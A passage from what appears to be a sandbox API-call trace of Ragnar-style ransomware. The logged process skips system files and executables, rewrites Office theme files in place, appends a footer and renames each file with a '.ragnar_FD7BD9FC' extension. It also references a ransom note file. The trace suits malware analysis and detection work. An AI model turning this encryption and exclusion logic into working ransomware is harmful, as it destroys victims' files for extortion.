dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x825e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.908] WriteFile (in: hFile=0x98, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x825e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eaf30*=0x825e4, lpOverlapped=0x0) returned 1 [0093.909] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x825e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.909] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.912] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x825e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.912] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.912] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.912] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.912] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.912] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.912] GetProcessHeap () returned 0x580000 [0093.912] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.912] CloseHandle (hObject=0x98) returned 1 [0093.913] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" [0093.913] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.ragnar_FD7BD9FC" [0093.913] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.914] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="CONCOU~1.EFT")) returned 1 [0093.914] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.914] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Concourse.eftx" | out: lpString1="Concourse.eftx") returned="Concourse.eftx" [0093.914] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned=".eftx" [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="autorun.inf") returned 1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="boot.ini") returned 1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="bootfont.bin") returned 1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="bootsect.bak") returned 1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="bootmgr") returned 1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="bootmgr.efi") returned 1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="bootmgfw.efi") returned 1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="desktop.ini") returned -1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="iconcache.db") returned -1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="ntldr") returned -1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="ntuser.dat") returned -1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="ntuser.dat.log") returned -1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="ntuser.ini") returned -1 [0093.914] lstrcmpiW (lpString1="Concourse.eftx", lpString2="thumbs.db") returned -1 [0093.915] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.915] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.915] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.915] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.915] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.915] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.915] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 0x20 [0093.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.916] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=22417) returned 1 [0093.916] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5788, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.916] GetProcessHeap () returned 0x580000 [0093.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.917] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.918] VirtualAlloc (lpAddress=0x0, dwSize=0x5791, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.918] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.918] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.918] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5791, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5791, lpOverlapped=0x0) returned 1 [0093.920] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.920] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5791, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.920] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5791, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5791, lpOverlapped=0x0) returned 1 [0093.920] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5791, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.920] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.920] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x5791, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.920] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.920] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.920] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.921] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.921] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.921] GetProcessHeap () returned 0x580000 [0093.921] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.921] CloseHandle (hObject=0x98) returned 1 [0093.921] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" [0093.921] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.ragnar_FD7BD9FC" [0093.921] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.922] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="COUTUR~1.EFT")) returned 1 [0093.922] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.922] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Couture.eftx" | out: lpString1="Couture.eftx") returned="Couture.eftx" [0093.922] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned=".eftx" [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="autorun.inf") returned 1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="boot.ini") returned 1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="bootfont.bin") returned 1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="bootsect.bak") returned 1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="bootmgr") returned 1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="bootmgr.efi") returned 1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="bootmgfw.efi") returned 1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="desktop.ini") returned -1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="iconcache.db") returned -1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="ntldr") returned -1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="ntuser.dat") returned -1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="ntuser.dat.log") returned -1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="ntuser.ini") returned -1 [0093.922] lstrcmpiW (lpString1="Couture.eftx", lpString2="thumbs.db") returned -1 [0093.922] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.922] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.922] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.923] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.923] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.923] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.923] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0x20 [0093.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.924] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1967905) returned 1 [0093.924] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1e0718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.924] GetProcessHeap () returned 0x580000 [0093.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.924] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.926] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0093.926] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.926] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.926] ReadFile (in: hFile=0x98, lpBuffer=0x22c0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1eaf34*=0x100000, lpOverlapped=0x0) returned 1 [0093.947] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.953] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x100000, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.953] WriteFile (in: hFile=0x98, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1eaf30*=0x100000, lpOverlapped=0x0) returned 1 [0093.955] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x100000, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.956] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.960] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1e0721, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.960] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.960] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.960] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.961] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.961] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.961] GetProcessHeap () returned 0x580000 [0093.961] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.961] CloseHandle (hObject=0x98) returned 1 [0093.961] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" [0093.961] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.ragnar_FD7BD9FC" [0093.961] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.962] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="ELEMEN~1.EFT")) returned 1 [0093.962] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0093.962] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Elemental.eftx" | out: lpString1="Elemental.eftx") returned="Elemental.eftx" [0093.962] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned=".eftx" [0093.962] lstrcmpiW (lpString1="Elemental.eftx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0093.962] lstrcmpiW (lpString1="Elemental.eftx", lpString2="autorun.inf") returned 1 [0093.962] lstrcmpiW (lpString1="Elemental.eftx", lpString2="boot.ini") returned 1 [0093.962] lstrcmpiW (lpString1="Elemental.eftx", lpString2="bootfont.bin") returned 1 [0093.962] lstrcmpiW (lpString1="Elemental.eftx", lpString2="bootsect.bak") returned 1 [0093.962] lstrcmpiW (lpString1="Elemental.eftx", lpString2="bootmgr") returned 1 [0093.962] lstrcmpiW (lpString1="Elemental.eftx", lpString2="bootmgr.efi") returned 1 [0093.963] lstrcmpiW (lpString1="Elemental.eftx", lpString2="bootmgfw.efi") returned 1 [0093.963] lstrcmpiW (lpString1="Elemental.eftx", lpString2="desktop.ini") returned 1 [0093.963] lstrcmpiW (lpString1="Elemental.eftx", lpString2="iconcache.db") returned -1 [0093.963] lstrcmpiW (lpString1="Elemental.eftx", lpString2="ntldr") returned -1 [0093.963] lstrcmpiW (lpString1="Elemental.eftx", lpString2="ntuser.dat") returned -1 [0093.963] lstrcmpiW (lpString1="Elemental.eftx", lpString2="ntuser.dat.log") returned -1 [0093.963] lstrcmpiW (lpString1="Elemental.eftx", lpString2="ntuser.ini") returned -1 [0093.963] lstrcmpiW (lpString1="Elemental.eftx", lpString2="thumbs.db") returned -1 [0093.963] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0093.963] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0093.963] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0093.963] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0093.963] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0093.963] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0093.963] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0093.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 0x20 [0093.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0093.965] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=314017) returned 1 [0093.965] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x4ca98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.965] GetProcessHeap () returned 0x580000 [0093.965] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.965] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.966] VirtualAlloc (lpAddress=0x0, dwSize=0x4caa1, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0093.966] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.966] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.966] ReadFile (in: hFile=0x98, lpBuffer=0x480000, nNumberOfBytesToRead=0x4caa1, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1eaf34*=0x4caa1, lpOverlapped=0x0) returned 1 [0093.976] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.977] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4caa1, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.978] WriteFile (in: hFile=0x98, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x4caa1, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1eaf30*=0x4caa1, lpOverlapped=0x0) returned 1 [0093.978] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4caa1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.978] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.980] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x4caa1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.980] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.980] WriteFile 